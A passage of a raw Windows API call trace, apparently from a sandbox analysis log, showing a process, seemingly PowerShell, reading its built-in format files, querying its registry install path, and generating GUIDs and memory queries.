nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.705] GetLastError () returned 0x0 [0096.705] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.705] GetLastError () returned 0x0 [0096.707] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.707] GetLastError () returned 0x0 [0096.707] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.707] GetLastError () returned 0x0 [0096.707] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.707] GetLastError () returned 0x0 [0096.707] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.708] GetLastError () returned 0x0 [0096.708] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.708] GetLastError () returned 0x0 [0096.708] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.708] GetLastError () returned 0x0 [0096.708] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.708] GetLastError () returned 0x0 [0096.708] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.709] GetLastError () returned 0x0 [0096.711] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.711] GetLastError () returned 0x0 [0096.712] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0xbce, lpOverlapped=0x0) returned 1 [0096.712] GetLastError () returned 0x0 [0096.712] ReadFile (in: hFile=0x324, lpBuffer=0x2de82da, nNumberOfBytesToRead=0x32, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de82da*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.712] GetLastError () returned 0x0 [0096.712] ReadFile (in: hFile=0x324, lpBuffer=0x2de8b6c, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2de8b6c*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.712] GetLastError () returned 0x0 [0096.712] CloseHandle (hObject=0x324) returned 1 [0096.712] GetLastError () returned 0x0 [0096.712] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.712] GetLastError () returned 0x0 [0096.712] SetErrorMode (uMode=0x1) returned 0x1 [0096.712] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\dotnettypes.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2e09b68 | out: lpFileInformation=0x2e09b68*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a077cff, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a077cff, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2e8455c, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x11bce)) returned 1 [0096.712] GetLastError () returned 0x0 [0096.712] SetErrorMode (uMode=0x1) returned 0x1 [0096.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.713] GetLastError () returned 0x0 [0096.713] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.713] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.713] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.713] RegCloseKey (hKey=0x324) returned 0x0 [0096.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.713] GetLastError () returned 0x0 [0096.713] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e324, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\DotNetTypes.format.ps1xml", lpFilePart=0x0) returned 0x44 [0096.714] GetLastError () returned 0x0 [0096.718] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x96ff133, Data2=0xce9f, Data3=0x4f5b, Data4=([0]=0xbf, [1]=0xba, [2]=0x11, [3]=0xb3, [4]=0xa5, [5]=0xdd, [6]=0xb4, [7]=0xaa))) returned 0x0 [0096.718] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x935bbe39, Data2=0x16ef, Data3=0x4841, Data4=([0]=0x9f, [1]=0x68, [2]=0x91, [3]=0x49, [4]=0x5b, [5]=0xd, [6]=0x4, [7]=0x0))) returned 0x0 [0096.718] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x5894e403, Data2=0x569b, Data3=0x4afe, Data4=([0]=0xa8, [1]=0x10, [2]=0x21, [3]=0x40, [4]=0xfb, [5]=0x92, [6]=0xa6, [7]=0x16))) returned 0x0 [0096.719] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xea26e35a, Data2=0x7d, Data3=0x405a, Data4=([0]=0x9a, [1]=0x2b, [2]=0x3e, [3]=0x9a, [4]=0xa1, [5]=0xa9, [6]=0x1a, [7]=0xb8))) returned 0x0 [0096.719] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x370b8fb0, Data2=0xe556, Data3=0x4a43, Data4=([0]=0xb5, [1]=0xd8, [2]=0x26, [3]=0x35, [4]=0x1d, [5]=0x60, [6]=0xf, [7]=0x7e))) returned 0x0 [0096.719] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xc05f52a0, Data2=0x2c26, Data3=0x4ff2, Data4=([0]=0x82, [1]=0xd7, [2]=0x9, [3]=0xb7, [4]=0xf9, [5]=0x35, [6]=0xb9, [7]=0xaf))) returned 0x0 [0096.719] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.719] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf48b160d, Data2=0x3362, Data3=0x4fe4, Data4=([0]=0xa8, [1]=0xda, [2]=0xd1, [3]=0x47, [4]=0xaf, [5]=0x77, [6]=0xac, [7]=0x31))) returned 0x0 [0096.720] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.720] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.720] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xc9c5af9, Data2=0x635a, Data3=0x481f, Data4=([0]=0xaf, [1]=0x77, [2]=0x24, [3]=0xe4, [4]=0x58, [5]=0xac, [6]=0x3e, [7]=0x21))) returned 0x0 [0096.720] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xdcb17b22, Data2=0x517a, Data3=0x44a8, Data4=([0]=0x9f, [1]=0x27, [2]=0x9c, [3]=0x8e, [4]=0xb8, [5]=0xfa, [6]=0x65, [7]=0xce))) returned 0x0 [0096.720] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x8addc290, Data2=0x764b, Data3=0x4747, Data4=([0]=0x90, [1]=0xe9, [2]=0x0, [3]=0x1d, [4]=0x63, [5]=0x93, [6]=0x24, [7]=0x67))) returned 0x0 [0096.721] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf580dd9, Data2=0x3f3d, Data3=0x4a94, Data4=([0]=0x9d, [1]=0x24, [2]=0x34, [3]=0xdb, [4]=0x1f, [5]=0xb1, [6]=0x19, [7]=0x14))) returned 0x0 [0096.721] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.721] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x46f30fe8, Data2=0x4fc3, Data3=0x4a39, Data4=([0]=0x8b, [1]=0xae, [2]=0x7e, [3]=0x14, [4]=0x9c, [5]=0xe5, [6]=0x3b, [7]=0xec))) returned 0x0 [0096.721] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.722] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.722] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.723] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.723] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.724] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x7e57545b, Data2=0x1f50, Data3=0x43f0, Data4=([0]=0x82, [1]=0x60, [2]=0x7, [3]=0xb5, [4]=0x42, [5]=0x96, [6]=0x75, [7]=0xe1))) returned 0x0 [0096.724] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x943c7647, Data2=0x91c1, Data3=0x4d0d, Data4=([0]=0xbf, [1]=0x4e, [2]=0xc6, [3]=0x83, [4]=0x1f, [5]=0xa6, [6]=0xba, [7]=0xaf))) returned 0x0 [0096.724] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xaf8593, Data2=0x9d3d, Data3=0x4c87, Data4=([0]=0x96, [1]=0x97, [2]=0xb, [3]=0xa5, [4]=0xe3, [5]=0xb1, [6]=0x47, [7]=0xfe))) returned 0x0 [0096.724] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x8d8784f9, Data2=0x8725, Data3=0x4319, Data4=([0]=0x98, [1]=0x79, [2]=0xb8, [3]=0x61, [4]=0x3d, [5]=0xa8, [6]=0x69, [7]=0x41))) returned 0x0 [0096.725] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xce226559, Data2=0xeb94, Data3=0x4fb0, Data4=([0]=0xab, [1]=0x1f, [2]=0x40, [3]=0x58, [4]=0x1b, [5]=0xf7, [6]=0x6b, [7]=0x26))) returned 0x0 [0096.725] VirtualQuery (in: lpAddress=0x27d6e4, lpBuffer=0x27e6e4, dwLength=0x1c | out: lpBuffer=0x27e6e4*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.725] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xf6a113ad, Data2=0xfd9d, Data3=0x4778, Data4=([0]=0x83, [1]=0xd0, [2]=0xad, [3]=0x70, [4]=0xe5, [5]=0xcc, [6]=0x83, [7]=0x72))) returned 0x0 [0096.725] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x514a5add, Data2=0xc792, Data3=0x4e2f, Data4=([0]=0xbb, [1]=0x28, [2]=0xf0, [3]=0xa5, [4]=0x3a, [5]=0x25, [6]=0x1a, [7]=0xcd))) returned 0x0 [0096.726] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xb739ab43, Data2=0x2cb6, Data3=0x4167, Data4=([0]=0xa0, [1]=0x5b, [2]=0x88, [3]=0xb7, [4]=0x1f, [5]=0x6c, [6]=0xee, [7]=0x3f))) returned 0x0 [0096.726] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x84e9ed82, Data2=0xeefb, Data3=0x4b56, Data4=([0]=0x9f, [1]=0x1c, [2]=0x34, [3]=0xdc, [4]=0x12, [5]=0x7, [6]=0x63, [7]=0xb9))) returned 0x0 [0096.726] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xe7f2887a, Data2=0x25f1, Data3=0x4623, Data4=([0]=0xb6, [1]=0x8f, [2]=0x2e, [3]=0x15, [4]=0x26, [5]=0x70, [6]=0x97, [7]=0xb5))) returned 0x0 [0096.726] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xd33b00a7, Data2=0xc150, Data3=0x4fbe, Data4=([0]=0xbd, [1]=0xa4, [2]=0x13, [3]=0xf7, [4]=0x59, [5]=0xcb, [6]=0xbb, [7]=0xaf))) returned 0x0 [0096.726] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x3b7e87fb, Data2=0xa788, Data3=0x4162, Data4=([0]=0x81, [1]=0xd5, [2]=0x69, [3]=0xdf, [4]=0xe9, [5]=0x85, [6]=0xb5, [7]=0x50))) returned 0x0 [0096.727] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x373c66fa, Data2=0x56db, Data3=0x4fcb, Data4=([0]=0x88, [1]=0x29, [2]=0x34, [3]=0x98, [4]=0x5e, [5]=0x57, [6]=0xd1, [7]=0xe0))) returned 0x0 [0096.727] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x736fb03b, Data2=0x946c, Data3=0x4eb8, Data4=([0]=0x8d, [1]=0xd3, [2]=0x22, [3]=0x12, [4]=0x9d, [5]=0x2b, [6]=0x7c, [7]=0xed))) returned 0x0 [0096.727] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x7caff68f, Data2=0x4e4c, Data3=0x4672, Data4=([0]=0xbc, [1]=0x23, [2]=0xd7, [3]=0x75, [4]=0x5d, [5]=0xd6, [6]=0x4f, [7]=0x92))) returned 0x0 [0096.727] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xa9e5dd4e, Data2=0xc415, Data3=0x4dbf, Data4=([0]=0xb9, [1]=0x3e, [2]=0x4b, [3]=0x1e, [4]=0xb4, [5]=0xb3, [6]=0xe2, [7]=0x19))) returned 0x0 [0096.727] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x9e7e49c3, Data2=0x20bd, Data3=0x4cf9, Data4=([0]=0xbe, [1]=0x96, [2]=0xec, [3]=0x86, [4]=0x6, [5]=0xd8, [6]=0x2b, [7]=0x4c))) returned 0x0 [0096.727] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x81483021, Data2=0xa929, Data3=0x4491, Data4=([0]=0xaf, [1]=0x81, [2]=0xd7, [3]=0xc3, [4]=0xd1, [5]=0xa5, [6]=0x4c, [7]=0x69))) returned 0x0 [0096.728] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xec046ec8, Data2=0xadd8, Data3=0x4dc5, Data4=([0]=0xae, [1]=0x23, [2]=0x83, [3]=0x3e, [4]=0x5f, [5]=0x86, [6]=0xdc, [7]=0x89))) returned 0x0 [0096.728] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x48a8a74b, Data2=0x4132, Data3=0x4fef, Data4=([0]=0xb4, [1]=0xb5, [2]=0x5, [3]=0x8e, [4]=0x35, [5]=0x6e, [6]=0x53, [7]=0x1c))) returned 0x0 [0096.728] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x7c07bf19, Data2=0x22f9, Data3=0x4c19, Data4=([0]=0x80, [1]=0x44, [2]=0x6d, [3]=0xe5, [4]=0xdd, [5]=0x83, [6]=0x56, [7]=0xec))) returned 0x0 [0096.728] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0xd21417ee, Data2=0x2c6b, Data3=0x435a, Data4=([0]=0x90, [1]=0xba, [2]=0xe1, [3]=0x53, [4]=0x37, [5]=0x79, [6]=0xf9, [7]=0x26))) returned 0x0 [0096.728] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x5e994d27, Data2=0xd6c9, Data3=0x4cb5, Data4=([0]=0x81, [1]=0x71, [2]=0x39, [3]=0xe1, [4]=0xb8, [5]=0x5a, [6]=0x6e, [7]=0x92))) returned 0x0 [0096.729] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x206fa15b, Data2=0x55e2, Data3=0x4b9f, Data4=([0]=0x94, [1]=0x52, [2]=0x1, [3]=0x2e, [4]=0x9b, [5]=0xd5, [6]=0x66, [7]=0xd8))) returned 0x0 [0096.729] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.729] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.731] VirtualQuery (in: lpAddress=0x27d590, lpBuffer=0x27e590, dwLength=0x1c | out: lpBuffer=0x27e590*(BaseAddress=0x27d000, AllocationBase=0x240000, AllocationProtect=0x4, RegionSize=0x3000, State=0x1000, Protect=0x4, Type=0x20000)) returned 0x1c [0096.734] CoCreateGuid (in: pguid=0x27e858 | out: pguid=0x27e858*(Data1=0x5f255e15, Data2=0x4c24, Data3=0x43c3, Data4=([0]=0xa6, [1]=0x9f, [2]=0x59, [3]=0xf, [4]=0xe4, [5]=0x52, [6]=0xac, [7]=0x82))) returned 0x0 [0096.734] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e2fc, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0096.734] GetLastError () returned 0x0 [0096.734] SetErrorMode (uMode=0x1) returned 0x1 [0096.734] CreateFileW (lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x324 [0096.734] GetLastError () returned 0x0 [0096.734] GetFileType (hFile=0x324) returned 0x1 [0096.734] SetErrorMode (uMode=0x1) returned 0x1 [0096.734] GetFileType (hFile=0x324) returned 0x1 [0096.735] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.736] GetLastError () returned 0x0 [0096.737] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.737] GetLastError () returned 0x0 [0096.738] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.738] GetLastError () returned 0x0 [0096.738] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.738] GetLastError () returned 0x0 [0096.739] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.739] GetLastError () returned 0x0 [0096.739] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x1000, lpOverlapped=0x0) returned 1 [0096.740] GetLastError () returned 0x0 [0096.740] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x119, lpOverlapped=0x0) returned 1 [0096.740] GetLastError () returned 0x0 [0096.740] ReadFile (in: hFile=0x324, lpBuffer=0x2ea6a54, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x27e864, lpOverlapped=0x0 | out: lpBuffer=0x2ea6a54*, lpNumberOfBytesRead=0x27e864*=0x0, lpOverlapped=0x0) returned 1 [0096.740] GetLastError () returned 0x0 [0096.740] CloseHandle (hObject=0x324) returned 1 [0096.740] GetLastError () returned 0x0 [0096.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e3c4, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0096.740] GetLastError () returned 0x0 [0096.740] SetErrorMode (uMode=0x1) returned 0x1 [0096.740] GetFileAttributesExW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml" (normalized: "c:\\windows\\syswow64\\windowspowershell\\v1.0\\filesystem.format.ps1xml"), fInfoLevelId=0x0, lpFileInformation=0x2ec7a50 | out: lpFileInformation=0x2ec7a50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5a0c3fbd, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0x5a0c3fbd, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0xd2eaa6bc, ftLastWriteTime.dwHighDateTime=0x1c9ea11, nFileSizeHigh=0x0, nFileSizeLow=0x6119)) returned 1 [0096.740] GetLastError () returned 0x0 [0096.740] SetErrorMode (uMode=0x1) returned 0x1 [0096.740] GetFullPathNameW (in: lpFileName="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", nBufferLength=0x105, lpBuffer=0x27e390, lpFilePart=0x0 | out: lpBuffer="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0\\FileSystem.format.ps1xml", lpFilePart=0x0) returned 0x43 [0096.740] GetLastError () returned 0x0 [0096.741] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\PowerShell\\1\\PowerShellEngine", ulOptions=0x0, samDesired=0x20019, phkResult=0x27e7e8 | out: phkResult=0x27e7e8*=0x324) returned 0x0 [0096.741] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x0, lpcbData=0x27e82c*=0x0 | out: lpType=0x27e830*=0x1, lpData=0x0, lpcbData=0x27e82c*=0x56) returned 0x0 [0096.741] RegQueryValueExW (in: hKey=0x324, lpValueName="ApplicationBase", lpReserved=0x0, lpType=0x27e830, lpData=0x6f7118, lpcbData=0x27e82c*=0x56 | out: lpType=0x27e830*=0x1, lpData="C:\\Windows\\SysWOW64\\WindowsPowerShell\\v1.0", lpcbData=0x27e82c*=0x56) returned 0x0 [0096.741] RegCloseKey (hKey=0x324) returned 0x0 [0096.741] GetFullPathNameW (in: 